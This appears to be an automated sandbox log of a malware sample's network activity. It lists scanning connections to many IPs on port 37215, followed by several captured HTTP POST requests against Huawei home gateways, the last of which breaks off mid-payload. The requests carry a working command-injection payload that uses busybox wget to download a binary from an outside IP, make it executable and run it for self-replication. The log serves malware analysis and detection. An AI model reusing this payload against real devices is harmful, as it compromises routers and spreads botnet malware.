Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.104.171.210:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.250.250.74:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.125.230.72:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.211.88.126:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.195.2.144:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.10.135.49:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.70.126.29:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 163.154.32.173:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.219.155.75:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.221.232.158:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.66.200.233:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.89.152.141:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.136.153.58:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.97.217.40:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.45.116.126:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 50.140.141.146:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.135.85.75:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 107.20.197.28:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.119.25.180:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 116.48.77.113:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.49.46.126:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.57.48.177:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.117.34.90:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.75.73.130:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.224.78.13:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.100.146.15:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.17.203.228:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.7.234.146:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.18.172.90:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 164.100.55.98:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 128.201.128.166:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.52.137.162:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 168.104.148.110:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.170.124.228:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 117.255.199.59:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 23.253.65.34:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 79.31.151.108:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 32.121.47.34:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 115.49.224.160:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 75.238.169.131:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.22.170.122:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.122.149.109:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.132.136.140:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.209.93.22:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.200.113.24:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 9.76.100.190:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.20.241.34:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.255.175.245:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.53.76.173:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.87.168.135:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.98.206.90:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.97.43.244:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.67.106.215:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.62.218.87:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.127.208.154:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 48.151.209.13:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.162.250.103:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.199.239.214:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.17.156.146:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.74.0.131:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 184.13.55.45:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 201.49.160.226:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 68.105.94.99:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 149.127.189.127:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.131.209.137:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.137.194.204:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 65.52.84.227:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 42.139.68.52:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 125.65.250.246:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.233.189.69:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.109.178.100:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.248.23.103:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.192.30.223:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.107.35.77:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.75.124.226:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.177.94.219:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.184.53.196:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 182.68.175.161:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.121.192.153:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.177.178.219:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.190.12.227:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.12.228.254:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.1.56.22:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.130.57.114:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.43.43.85:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.27.134.156:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.24.121.250:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 124.109.41.52:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.188.62.66:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 190.230.140.154:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.170.29.16:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.254.133.4:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 49.139.124.21:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.143.90.128:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.234.26.88:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.172.40.183:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.249.97.39:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.211.188.136:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 2.206.151.161:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.252.197.36:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.130.224.143:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.255.60.250:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.252.185.216:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 100.50.25.81:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 43.238.243.160:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 193.249.211.243:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.214.109.130:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.49.104.224:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.193.107.34:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 51.200.195.68:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.95.165.198:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.195.81.193:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.218.25.123:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 64.56.4.141:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.98.204.119:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.55.30.243:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.15.147.119:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.96.209.126:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.86.14.30:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.236.248.223:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.210.226.25:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.169.85.4:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.157.82.125:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.178.137.75:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 124.191.205.213:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.65.80.223:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.224.36.39:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.127.120.230:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.105.150.149:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.162.255.191:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.175.255.37:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.144.68.158:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 24.139.137.132:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.16.166.46:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.160.82.241:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.235.128.151:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 96.169.98.6:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 8.43.145.96:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.209.29.64:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.201.151.204:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.180.58.53:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 94.16.195.36:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.62.159.163:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.108.19.94:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.231.217.100:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.211.254.46:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.127.4.73:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.34.97.130:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.29.31.206:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.153.187.167:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.55.46.154:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.253.143.146:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.79.13.241:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.87.60.94:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.98.16.152:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.141.167.44:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.194.249.131:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.29.65.171:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.69.70.192:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 84.156.156.35:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.237.193.154:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.235.87.126:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.129.85.115:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.160.95.149:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.207.91.11:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.245.244.59:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.113.151.221:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 184.110.45.237:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.36.135.153:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.116.177.193:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.86.232.40:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.132.122.89:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.2.218.117:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.230.8.131:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.98.244.39:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.179.150.80:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.240.183.240:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.120.126.5:37215
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy 